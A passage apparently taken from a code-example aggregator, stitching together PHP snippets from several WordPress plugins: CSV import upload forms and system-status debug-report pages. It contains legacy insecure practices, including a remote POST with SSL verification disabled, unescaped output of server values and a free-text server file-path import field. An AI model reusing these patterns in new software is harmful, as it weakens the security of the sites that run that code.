                echo $upload_dir['error'];
                ?>
</strong></p></div><?php 
            } else {
                ?>
				<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
                echo esc_attr(wp_nonce_url($action, 'import-upload'));
                ?>
">
					<table class="form-table">
						<tbody>
							<tr>
								<th>
									<label for="upload"><?php 
                _e('Choose a file from your computer:');
                ?>
</label>
								</th>
								<td>
									<input type="file" id="upload" name="import" size="25" />
									<input type="hidden" name="action" value="save" />
									<input type="hidden" name="max_file_size" value="<?php 
                echo $bytes;
                ?>
" />
									<small><?php 
                printf(__('Maximum size: %s'), $size);
                ?>
</small>
								</td>
							</tr>
							<tr>
								<th><label><?php 
                _e('Delimiter', 'woocommerce-shipping-per-product');
                ?>
</label><br/></th>
								<td><input type="text" name="delimiter" placeholder="," size="2" /></td>
							</tr>
						</tbody>
					</table>
					<p class="submit">
						<input type="submit" class="button" value="<?php 
                esc_attr_e('Upload file and import');
                ?>
" />
					</p>
				</form>
				<?php 
            }
            echo '</div>';
        }
Example #15
0
function wp_import_upload_form($action)
{
    $u_bytes = wp_convert_hr_to_bytes(ini_get('upload_max_filesize'));
    $p_bytes = wp_convert_hr_to_bytes(ini_get('post_max_size'));
    $bytes = apply_filters('import_upload_size_limit', min($u_bytes, $p_bytes), $u_bytes, $p_bytes);
    $size = wp_convert_bytes_to_hr($bytes);
    ?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
    echo attribute_escape($action);
    ?>
">
<p>
<?php 
    wp_nonce_field('import-upload');
    ?>
<label for="upload"><?php 
    _e('Choose a file from your computer:');
    ?>
</label> (<?php 
    printf(__('Maximum size: %s'), $size);
    ?>
)
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php 
    echo $bytes;
    ?>
" />
</p>
<p class="submit">
<input type="submit" value="<?php 
    _e('Upload file and import &raquo;');
    ?>
" />
</p>
</form>
<?php 
}
        function import_upload_form($action)
        {
            $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
            $size = wp_convert_bytes_to_hr($bytes);
            $upload_dir = wp_upload_dir();
            if (!empty($upload_dir['error'])) {
                ?>
<div class="error"><p><?php 
                _e('Before you can upload your import file, you will need to fix the following error:', 'anno');
                ?>
</p>
			<p><strong><?php 
                echo $upload_dir['error'];
                ?>
</strong></p></div><?php 
            } else {
                ?>
	<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
                echo esc_attr(wp_nonce_url($action, 'import-upload'));
                ?>
">
	<?php 
                if (defined('ANNO_IMPORT_DEBUG') && ANNO_IMPORT_DEBUG) {
                    echo '<p>' . __('ANNO_IMPORT_DEBUG: Select a parser:', 'anno') . ' <select name="anno_knol_parser">
						<option value="simplexml">SimpleXML</option>
						<option value="xml">XML</option>
						<option value="regex">RegEx</option>
					</select>
				</p>';
                }
                ?>
	<p>
	<label for="upload"><?php 
                _e('Choose a file from your computer:', 'anno');
                ?>
</label> (<?php 
                printf(__('Maximum size: %s', 'anno'), $size);
                ?>
)
	<input type="file" id="upload" name="import" size="25" />
	<input type="hidden" name="action" value="save" />
	<input type="hidden" name="max_file_size" value="<?php 
                echo $bytes;
                ?>
" />
	</p>
	<?php 
                submit_button(__('Upload file and import', 'anno'), 'button');
                ?>
	</form>
	<?php 
            }
        }
/**
 * Debug/Status page
 *
 * @author 		WooThemes
 * @category 	Admin
 * @package 	WooCommerce
 */
function woocommerce_debug()
{
    global $woocommerce;
    $tools = apply_filters('wc_debug_tools', array('clear_transients' => array('name' => __('Transients', 'woocommerce'), 'button' => __('Clear Transients', 'woocommerce'), 'desc' => __('This tool will clear the product/shop transients cache.', 'woocommerce')), 'reset_roles' => array('name' => __('Capabilities', 'woocommerce'), 'button' => __('Reset Capabilities', 'woocommerce'), 'desc' => __('This tool will reset the admin, customer and shop_manager roles to default. Use this if your users cannot access all of the WooCommerce admin pages.', 'woocommerce'))));
    ?>
	<div class="wrap woocommerce">
		<div class="icon32 icon32-woocommerce-status" id="icon-woocommerce"><br /></div>
		<h2><?php 
    _e('Debugging Information', 'woocommerce');
    ?>
 <a href="#" class="add-new-h2 debug-report"><?php 
    _e('Generate report', 'woocommerce');
    ?>
</a></h2>
		
		<?php 
    if (!empty($_GET['action']) && !empty($_REQUEST['_wpnonce']) && wp_verify_nonce($_REQUEST['_wpnonce'], 'debug_action')) {
        switch ($_GET['action']) {
            case "clear_transients":
                $woocommerce->clear_product_transients();
                echo '<div class="updated"><p>' . __('Product Transients Cleared', 'woocommerce') . '</p></div>';
                break;
            case "reset_roles":
                global $wp_roles;
                // Roles
                remove_role('customer');
                remove_role('shop_manager');
                // Capabilities
                $wp_roles->remove_cap('administrator', 'manage_woocommerce');
                $woocommerce->init_user_roles();
                echo '<div class="updated"><p>' . __('Roles successfully reset', 'woocommerce') . '</p></div>';
                break;
            default:
                $action = esc_attr($_GET['action']);
                if (isset($tools[$action]['callback'])) {
                    $callback = $tools[$action]['callback'];
                    $return = call_user_func($callback);
                    if ($return === false) {
                        if (is_array($callback)) {
                            echo '<div class="error"><p>' . sprintf(__('There was an error calling %s::%s', 'woocommerce'), get_class($callback[0]), $callback[1]) . '</p></div>';
                        } else {
                            echo '<div class="error"><p>' . sprintf(__('There was an error calling %s', 'woocommerce'), $callback) . '</p></div>';
                        }
                    }
                }
        }
    }
    ?>
		<br/>
		<textarea id="debug-report" readonly="readonly"></textarea>
		<table class="wc_status_table widefat" cellspacing="0">
			
			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Versions', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<tbody>
                <tr>
                    <td><?php 
    _e('WooCommerce version', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo $woocommerce->version;
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WordPress version', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (is_multisite()) {
        echo 'WPMU';
    } else {
        echo 'WP';
    }
    ?>
 <?php 
    echo bloginfo('version');
    ?>
</td>
                </tr>
             	<tr>
             		<td><?php 
    _e('Installed plugins', 'woocommerce');
    ?>
</td>
             		<td><?php 
    $active_plugins = (array) get_option('active_plugins', array());
    if (is_multisite()) {
        $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
    }
    $active_plugins = array_map('strtolower', $active_plugins);
    $wc_plugins = array();
    foreach ($active_plugins as $plugin) {
        //if ( strstr( $plugin, 'woocommerce' ) ) {
        $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
        if (!empty($plugin_data['Name'])) {
            $wc_plugins[] = $plugin_data['Name'] . ' ' . __('by', 'woocommerce') . ' ' . $plugin_data['Author'] . ' ' . __('version', 'woocommerce') . ' ' . $plugin_data['Version'];
        }
        //}
    }
    if (sizeof($wc_plugins) == 0) {
        echo '-';
    } else {
        echo '<ul><li>' . implode(', </li><li>', $wc_plugins) . '</li></ul>';
    }
    ?>
</td>
             	</tr>
			</tbody>

			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Settings', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<tbody>
                <tr>
                    <td><?php 
    _e('Home URL', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo home_url();
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Site URL', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo site_url();
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Force SSL', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo ucwords(get_option('woocommerce_force_ssl_checkout'));
    ?>
</td>
                </tr>
			</tbody>

			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Shop Pages', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<tbody>
				<?php 
    $check_pages = array(__('Shop base page', 'woocommerce') => array('option' => 'woocommerce_shop_page_id', 'shortcode' => ''), __('Cart Page', 'woocommerce') => array('option' => 'woocommerce_cart_page_id', 'shortcode' => '[woocommerce_cart]'), __('Checkout Page', 'woocommerce') => array('option' => 'woocommerce_checkout_page_id', 'shortcode' => '[woocommerce_checkout]'), __('Pay Page', 'woocommerce') => array('option' => 'woocommerce_pay_page_id', 'shortcode' => '[woocommerce_pay]'), __('Thanks Page', 'woocommerce') => array('option' => 'woocommerce_thanks_page_id', 'shortcode' => '[woocommerce_thankyou]'), __('My Account Page', 'woocommerce') => array('option' => 'woocommerce_myaccount_page_id', 'shortcode' => '[woocommerce_my_account]'), __('Edit Address Page', 'woocommerce') => array('option' => 'woocommerce_edit_address_page_id', 'shortcode' => '[woocommerce_edit_address]'), __('View Order Page', 'woocommerce') => array('option' => 'woocommerce_view_order_page_id', 'shortcode' => '[woocommerce_view_order]'), __('Change Password Page', 'woocommerce') => array('option' => 'woocommerce_change_password_page_id', 'shortcode' => '[woocommerce_change_password]'));
    $alt = 1;
    foreach ($check_pages as $page_name => $values) {
        if ($alt == 1) {
            echo '<tr>';
        } else {
            echo '<tr>';
        }
        echo '<td>' . $page_name . '</td><td>';
        $error = false;
        $page_id = get_option($values['option']);
        // Page ID check
        if (!$page_id) {
            echo '<mark class="error">' . __('Page not set', 'woocommerce') . '</mark>';
            $error = true;
        } else {
            // Shortcode check
            if ($values['shortcode']) {
                $page = get_post($page_id);
                if (!strstr($page->post_content, $values['shortcode'])) {
                    echo '<mark class="error">' . sprintf(__('Page does not contain the shortcode: %s', 'woocommerce'), $values['shortcode']) . '</mark>';
                    $error = true;
                }
            }
        }
        if (!$error) {
            echo '<mark class="yes">#' . $page_id . ' - ' . get_permalink($page_id) . '</mark>';
        }
        echo '</td></tr>';
        $alt = $alt * -1;
    }
    ?>
			</tbody>
			
			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Server Environment', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<tbody>
                <tr>
                    <td><?php 
    _e('PHP Version', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo phpversion();
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server Software', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo $_SERVER['SERVER_SOFTWARE'];
    ?>
</td>
                </tr>
				<tr>
                    <td><?php 
    _e('WP Max Upload Size', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo wp_convert_bytes_to_hr(wp_max_upload_size());
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server upload_max_filesize', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo wp_convert_bytes_to_hr(woocommerce_let_to_num(ini_get('upload_max_filesize')));
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server post_max_size', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo wp_convert_bytes_to_hr(woocommerce_let_to_num(ini_get('post_max_size')));
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WP Memory Limit', 'woocommerce');
    ?>
</td>
                    <td><?php 
    echo wp_convert_bytes_to_hr(woocommerce_let_to_num(WP_MEMORY_LIMIT));
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WP Debug Mode', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (defined('WP_DEBUG') && WP_DEBUG) {
        echo '<mark class="yes">' . __('Yes', 'woocommerce') . '</mark>';
    } else {
        echo '<mark class="no">' . __('No', 'woocommerce') . '</mark>';
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WC Logging', 'woocommerce');
    ?>
</td>
                    <td><?php 
    if (@fopen($woocommerce->plugin_path() . '/logs/paypal.txt', 'a')) {
        echo '<mark class="yes">' . __('Log directory is writable.', 'woocommerce') . '</mark>';
    } else {
        echo '<mark class="error">' . __('Log directory (<code>woocommerce/logs/</code>) is not writable. Logging will not be possible.', 'woocommerce') . '</mark>';
    }
    ?>
</td>
                </tr>
            </tbody>
            
            <thead>
				<tr>
					<th colspan="2"><?php 
    _e('PHP Sessions', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<tbody>
            	<tr>
                    <td><?php 
    _e('Session save path', 'woocommerce');
    ?>
</td>
					<td><?php 
    $save_path = session_save_path();
    if (!is_dir($save_path)) {
        echo '<mark class="error">' . sprintf(__('<code>%s</code> does not exist - contact your host to resolve the problem.', 'woocommerce'), $save_path) . '</mark>';
    } elseif (!is_writeable($save_path)) {
        echo '<mark class="error">' . sprintf(__('<code>%s</code> is not writable - contact your host to resolve the problem.', 'woocommerce'), $save_path) . '</mark>';
    } else {
        echo '<mark class="yes">' . sprintf(__('<code>%s</code> is writable.', 'woocommerce'), $save_path) . '</mark>';
    }
    ?>
</td>
                </tr>
            </tbody>
            
            <thead>
				<tr>
					<th colspan="2"><?php 
    _e('Remote Posting/IPN', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>
			
			<?php 
    $posting = array();
    // fsockopen/Curl
    $posting['fsockopen_curl']['name'] = __('fsockopen/Curl', 'woocommerce');
    if (function_exists('fsockopen') || function_exists('curl_init')) {
        $posting['fsockopen_curl']['note'] = __('Your server has fsockopen or Curl enabled.', 'woocommerce');
        $posting['fsockopen_curl']['success'] = true;
    } else {
        $posting['fsockopen_curl']['note'] = __('Your server does not have fsockopen or Curl enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider.', 'woocommerce') . '</mark>';
        $posting['fsockopen_curl']['success'] = false;
    }
    // WP Remote Post Check
    $posting['wp_remote_post']['name'] = __('WP Remote Post Check', 'woocommerce');
    $params = array('sslverify' => false, 'timeout' => 30, 'user-agent' => 'WooCommerce/' . $woocommerce->version);
    $response = wp_remote_post('https://www.paypal.com/cgi-bin/webscr', $params);
    if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) {
        $posting['wp_remote_post']['note'] = __('wp_remote_post() was successful - PayPal IPN is working.', 'woocommerce');
        $posting['wp_remote_post']['success'] = true;
    } else {
        $posting['wp_remote_post']['note'] = __('wp_remote_post() failed. PayPal IPN won\'t work with your server. Contact your hosting provider. Error: ', 'woocommerce') . $response->get_error_message();
        $posting['wp_remote_post']['success'] = false;
    }
    $posting = apply_filters('wc_debug_posting', $posting);
    ?>
            			
			<tbody>
			<?php 
    foreach ($posting as $post) {
        $mark = isset($post['success']) && $post['success'] == true ? 'yes' : 'error';
        ?>
				<tr>
                    <td><?php 
        echo $post['name'];
        ?>
</td>
                    <td>
                    	<mark class="<?php 
        echo $mark;
        ?>
">
	                    	<?php 
        echo $post['note'];
        ?>
                    	</mark>
                    </td>
                </tr>
			<?php 
    }
    ?>
            </tbody>
            
            <thead class="tools">
				<tr>
					<th colspan="2"><?php 
    _e('Tools', 'woocommerce');
    ?>
</th>
				</tr>
			</thead>

			<tbody class="tools">
			<?php 
    foreach ($tools as $action => $tool) {
        ?>
				<tr>
                    <td><?php 
        echo $tool['name'];
        ?>
</td>
                    <td>
                    	<p>
	                    	<a href="<?php 
        echo wp_nonce_url(admin_url('tools.php?page=woocommerce_debug&action=' . $action), 'debug_action');
        ?>
" class="button"><?php 
        echo $tool['button'];
        ?>
</a>
	                    	<span class="description"><?php 
        echo $tool['desc'];
        ?>
</span>
                    	</p>
                    </td>
                </tr>
			<?php 
    }
    ?>
			</tbody>
		</table>

	</div>
	<script type="text/javascript">
		
		jQuery('a.debug-report').click(function(){
			
			if ( ! jQuery('#debug-report').val() ) {
			
				// Generate report - user can paste into forum
				var report = '`';
				
				jQuery('thead:not(".tools"), tbody:not(".tools")', '.wc_status_table').each(function(){
					
					$this = jQuery( this );
					
					if ( $this.is('thead') ) {
						
						report = report + "\n=============================================================================================\n";
						report = report + " " + jQuery.trim( $this.text() ) + "\n";
						report = report + "=============================================================================================\n";
						
					} else {
						
						jQuery('tr', $this).each(function(){
							
							$this = jQuery( this );
							
							report = report + $this.find('td:eq(0)').text() + ": \t";
							report = report + $this.find('td:eq(1)').text() + "\n";
							
						});
						
					}
				
				});
				
				report = report + '`';
				
				jQuery('#debug-report').val( report );
			}
			
			jQuery('#debug-report').slideToggle('500', function() {
				jQuery(this).select();
			});

      		return false;
			
		});
		
	</script>
	<?php 
}
function feed_them_system_info_page()
{
    ?>

<div class="fts-help-admin-wrap"> 
<a class="buy-extensions-btn" href="http://www.slickremix.com/shop/" target="_blank">Get Extensions Here!</a>
<h2>System Info </h2>
<div class="fts-admin-help-wrap">
<div class="use-of-plugin">Can't figure out how to do something and need help? Use our <a href="http://www.slickremix.com/support-forum/" target="_blank">Support Forum</a> and someone will respond to your request asap. Usually we will respond the same day, the latest the following day. You may also find some of the existing posts to be helpfull too, so take a look around first. If you do submit a question please <a href="#" class="fts-debug-report">generate a report</a> and copy the info, ask your question in our <a href="http://www.slickremix.com/support-forum/" target="_blank">Support Forum</a> then paste the info you just copied. That will help speed things along for sure. </div>
  </h3>
  
  <h3>Plugin &amp; System Info</h3>
  <p>Please 
<a href="#" class="fts-debug-report">click here to generate a report</a>  You will need to  paste this information along with your question in our <a href="http://www.slickremix.com/support-forum/" target="_blank">Support Forum</a>. Ask your question then paste the copied text below it.
  </p>
		<textarea id="fts-debug-report" readonly="readonly"></textarea>
		<table class="wc_status_table widefat" cellspacing="0">
			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Versions', 'ftsystem');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
                <tr>
                    <td><?php 
    _e('Feed Them Social Plugin version', 'ftsystem');
    ?>
</td>
                  <td><?php 
    echo ftsystem_version();
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WordPress version', 'ftsystem');
    ?>
</td>
                    <td><?php 
    if (is_multisite()) {
        echo 'WPMU';
    } else {
        echo 'WP';
    }
    ?>
 <?php 
    echo bloginfo('version');
    ?>
</td>
                </tr>
             	<tr>
             		<td><?php 
    _e('Installed plugins', 'ftsystem');
    ?>
</td>
             		<td><?php 
    $active_plugins = (array) get_option('active_plugins', array());
    if (is_multisite()) {
        $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
    }
    $active_plugins = array_map('strtolower', $active_plugins);
    $wc_plugins = array();
    foreach ($active_plugins as $plugin) {
        //if ( strstr( $plugin, 'ftsystem' ) ) {
        $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
        if (!empty($plugin_data['Name'])) {
            $wc_plugins[] = $plugin_data['Name'] . ' ' . __('by', 'ftsystem') . ' ' . $plugin_data['Author'] . ' ' . __('version', 'ftsystem') . ' ' . $plugin_data['Version'];
        }
        //}
    }
    if (sizeof($wc_plugins) == 0) {
        echo '-';
    } else {
        echo '<ul><li>' . implode(', </li><li>', $wc_plugins) . '</li></ul>';
    }
    ?>
</td>
             	</tr>
			</tbody>


			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Server Environment', 'ftsystem');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
                <tr>
                    <td><?php 
    _e('PHP Version', 'ftsystem');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo phpversion();
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server Software', 'ftsystem');
    ?>
</td>
                    <td><?php 
    echo $_SERVER['SERVER_SOFTWARE'];
    ?>
</td>
                </tr>
				<tr>
                    <td><?php 
    _e('WP Max Upload Size', 'ftsystem');
    ?>
</td>
                    <td><?php 
    echo wp_convert_bytes_to_hr(wp_max_upload_size());
    ?>
</td>
                </tr>
                
                <tr>
                    <td><?php 
    _e('WP Debug Mode', 'ftsystem');
    ?>
</td>
                    <td><?php 
    if (defined('WP_DEBUG') && WP_DEBUG) {
        echo '<mark class="yes">' . __('Yes', 'ftsystem') . '</mark>';
    } else {
        echo '<mark class="no">' . __('No', 'ftsystem') . '</mark>';
    }
    ?>
</td>
                </tr>
                
            </tbody>
		</table> 
  </div><!--/fts-admin-help-faqs-wrap-->   
        
  <a class="fts-settings-admin-slick-logo" href="http://www.slickremix.com" target="_blank"></a>      
</div><!--/fts-help-admin-wrap-->	
  <script type="text/javascript">
		jQuery('a.fts-debug-report').click(function(){

			if ( ! jQuery('#fts-debug-report').val() ) {

				// Generate report - user can paste into forum
				var report = '`';

				jQuery('thead, tbody', '.wc_status_table').each(function(){

					$this = jQuery( this );

					if ( $this.is('thead') ) {

						report = report + "\n=============================================================================================\n";
						report = report + " " + jQuery.trim( $this.text() ) + "\n";
						report = report + "=============================================================================================\n";

					} else {

						jQuery('tr', $this).each(function(){

							$this = jQuery( this );

							report = report + $this.find('td:eq(0)').text() + ": \t";
							report = report + $this.find('td:eq(1)').text() + "\n";

						});
					}
				});
				report = report + '`';
				jQuery('#fts-debug-report').val( report );
			}
			jQuery('#fts-debug-report').slideToggle('500', function() {
				jQuery(this).select();
			});
      		return false;
		});

	</script> 
<?php 
}
        /**
         * greet function.
         *
         * @access public
         * @return void
         */
        function greet()
        {
            global $woocommerce;
            echo '<div class="narrow">';
            echo '<p>' . __('Hi there! Upload a CSV file containing tax rates to import the contents into your shop. Choose a .csv file to upload, then click "Upload file and import".', 'woocommerce') . '</p>';
            echo '<p>' . sprintf(__('Tax rates need to be defined with columns in a specific order (10 columns). <a href="%s">Click here to download a sample</a>.', 'woocommerce'), $woocommerce->plugin_url() . '/admin/importers/samples/sample_tax_rates.csv') . '</p>';
            $action = 'admin.php?import=woocommerce_tax_rate_csv&step=1';
            $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
            $size = wp_convert_bytes_to_hr($bytes);
            $upload_dir = wp_upload_dir();
            if (!empty($upload_dir['error'])) {
                ?>
<div class="error"><p><?php 
                _e('Before you can upload your import file, you will need to fix the following error:');
                ?>
</p>
				<p><strong><?php 
                echo $upload_dir['error'];
                ?>
</strong></p></div><?php 
            } else {
                ?>
				<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
                echo esc_attr(wp_nonce_url($action, 'import-upload'));
                ?>
">
					<table class="form-table">
						<tbody>
							<tr>
								<th>
									<label for="upload"><?php 
                _e('Choose a file from your computer:');
                ?>
</label>
								</th>
								<td>
									<input type="file" id="upload" name="import" size="25" />
									<input type="hidden" name="action" value="save" />
									<input type="hidden" name="max_file_size" value="<?php 
                echo $bytes;
                ?>
" />
									<small><?php 
                printf(__('Maximum size: %s'), $size);
                ?>
</small>
								</td>
							</tr>
							<tr>
								<th>
									<label for="file_url"><?php 
                _e('OR enter path to file:', 'woocommerce');
                ?>
</label>
								</th>
								<td>
									<?php 
                echo ' ' . ABSPATH . ' ';
                ?>
<input type="text" id="file_url" name="file_url" size="25" />
								</td>
							</tr>
							<tr>
								<th><label><?php 
                _e('Delimiter', 'woocommerce');
                ?>
</label><br/></th>
								<td><input type="text" name="delimiter" placeholder="," size="2" /></td>
							</tr>
						</tbody>
					</table>
					<p class="submit">
						<input type="submit" class="button" value="<?php 
                esc_attr_e('Upload file and import');
                ?>
" />
					</p>
				</form>
				<?php 
            }
            echo '</div>';
        }
/**
 * Output the content of the debugging page.
 *
 * @access public
 * @return void
 */
function espresso_system_status()
{
    global $org_options;
    /**
     * let_to_num function. (copied from woocommerce-core-functions.php)
     *
     * This function transforms the php.ini notation for numbers (like '2M') to an integer.
     *
     * @access public
     * @param $size
     * @return int
     */
    function espresso_let_to_num($size)
    {
        $l = substr($size, -1);
        $ret = substr($size, 0, -1);
        switch (strtoupper($l)) {
            case 'P':
                $ret *= 1024;
            case 'T':
                $ret *= 1024;
            case 'G':
                $ret *= 1024;
            case 'M':
                $ret *= 1024;
            case 'K':
                $ret *= 1024;
        }
        return $ret;
    }
    ?>
	<style type="text/css">
		#debug-report {
			display: none;
			font-family: monospace;
			height: 200px;
			margin-bottom: 20px;
			width: 100%;
		}
		table.ee_status_table th {
			font-weight: bold;
		}
		table.ee_status_table td {
			padding: 5px 7px;
		}
		table.ee_status_table td mark {
			background: none repeat scroll 0 0 transparent;
		}
		table.ee_status_table td mark.yes {
			color: green;
		}
		table.ee_status_table td mark.no {
			color: #999999;
		}
		table.ee_status_table td mark.error {
			color: red;
		}
		table.ee_status_table td ul {
			margin: 0;
		}
	</style>
	<div class="wrap event_espresso">
		<div class="icon32" id="icon-options-event"><br /></div>
		<h2><?php 
    _e('System Status', 'event_espresso');
    ?>
 <a href="#" class="add-new-h2 debug-report"><?php 
    _e('Generate report', 'event_espresso');
    ?>
</a></h2>
		<br/>
		<textarea id="debug-report" readonly="readonly"></textarea>
		<table class="ee_status_table widefat" cellspacing="0">

			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Versions', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
                <tr>
                    <td><?php 
    _e('Event Espresso version', 'event_espresso');
    ?>
</td>
                    <td><?php 
    echo espresso_version();
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WordPress version', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (is_multisite()) {
        echo 'WPMU';
    } else {
        echo 'WP';
    }
    ?>
 <?php 
    echo bloginfo('version');
    ?>
</td>
                </tr>
             	<tr>
             		<td><?php 
    _e('Installed plugins', 'event_espresso');
    ?>
</td>
             		<td><?php 
    $active_plugins = (array) get_option('active_plugins', array());
    if (is_multisite()) {
        $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
    }
    $active_plugins = array_map('strtolower', $active_plugins);
    $ee_plugins = array();
    foreach ($active_plugins as $plugin) {
        //if ( strstr( $plugin, 'event_espresso' ) ) {
        $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
        if (!empty($plugin_data['Name'])) {
            $ee_plugins[] = $plugin_data['Name'] . ' ' . __('by', 'event_espresso') . ' ' . $plugin_data['Author'] . ' ' . __('version', 'event_espresso') . ' ' . $plugin_data['Version'];
        }
        //}
    }
    if (sizeof($ee_plugins) == 0) {
        echo '-';
    } else {
        echo '<ul><li>' . implode(', </li><li>', $ee_plugins) . '</li></ul>';
    }
    ?>
</td>
             	</tr>
			</tbody>

			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Settings', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
                <tr>
                    <td><?php 
    _e('Home URL', 'event_espresso');
    ?>
</td>
                    <td><?php 
    echo home_url();
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Site URL', 'event_espresso');
    ?>
</td>
                    <td><?php 
    echo site_url();
    ?>
</td>
                </tr>
			</tbody>

			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Registration Pages', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
				<?php 
    $check_pages = array(__('Event Page', 'event_espresso') => array('option' => $org_options['event_page_id'], 'shortcode' => '[ESPRESSO_EVENTS]'), __('Payment/Thank You Page', 'event_espresso') => array('option' => $org_options['return_url'], 'shortcode' => '[ESPRESSO_PAYMENTS]'), __('Transaction Notification Page', 'event_espresso') => array('option' => $org_options['notify_url'], 'shortcode' => '[ESPRESSO_TXN_PAGE]'), __('Cancel Return Page', 'event_espresso') => array('option' => $org_options['cancel_return'], 'shortcode' => '[ESPRESSO_CANCELLED]'));
    $alt = 1;
    foreach ($check_pages as $page_name => $values) {
        if ($alt == 1) {
            echo '<tr>';
        } else {
            echo '<tr>';
        }
        echo '<td>' . $page_name . '</td><td>';
        $error = false;
        $page_id = $values['option'];
        // Page ID check
        if (!$page_id) {
            echo '<mark class="error">' . __('Page not set', 'event_espresso') . '</mark>';
            $error = true;
        } else {
            // Shortcode check
            if ($values['shortcode']) {
                $page = get_post($page_id);
                if (!strstr($page->post_content, $values['shortcode'])) {
                    echo '<mark class="error">' . sprintf(__('Page does not contain the shortcode: %s', 'event_espresso'), $values['shortcode']) . '</mark>';
                    $error = true;
                }
            }
        }
        if (!$error) {
            echo '<mark class="yes">#' . $page_id . ' - ' . get_permalink($page_id) . '</mark>';
        }
        echo '</td></tr>';
        $alt = $alt * -1;
    }
    ?>
			</tbody>

			
			<thead>
				<tr>
					<th colspan="2"><?php 
    _e('Server Environment', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
                <tr>
                    <td><?php 
    _e('PHP Version', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo phpversion();
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server Software', 'event_espresso');
    ?>
</td>
                    <td><?php 
    echo $_SERVER['SERVER_SOFTWARE'];
    ?>
</td>
                </tr>
				<tr>
                    <td><?php 
    _e('WP Max Upload Size', 'event_espresso');
    ?>
</td>
                    <td><?php 
    echo wp_convert_bytes_to_hr(wp_max_upload_size());
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server upload_max_filesize', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo wp_convert_bytes_to_hr(espresso_let_to_num(ini_get('upload_max_filesize')));
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Server post_max_size', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (function_exists('phpversion')) {
        echo wp_convert_bytes_to_hr(espresso_let_to_num(ini_get('post_max_size')));
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WP Memory Limit', 'event_espresso');
    ?>
</td>
                    <td><?php 
    $memory = espresso_let_to_num(WP_MEMORY_LIMIT);
    if ($memory < 67108864) {
        echo '<mark class="error">' . sprintf(__('%s - We recommend setting memory to at least 64MB. See: <a href="%s">Increasing memory allocated to PHP</a>', 'event_espresso'), wp_convert_bytes_to_hr($memory), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP') . '</mark>';
    } else {
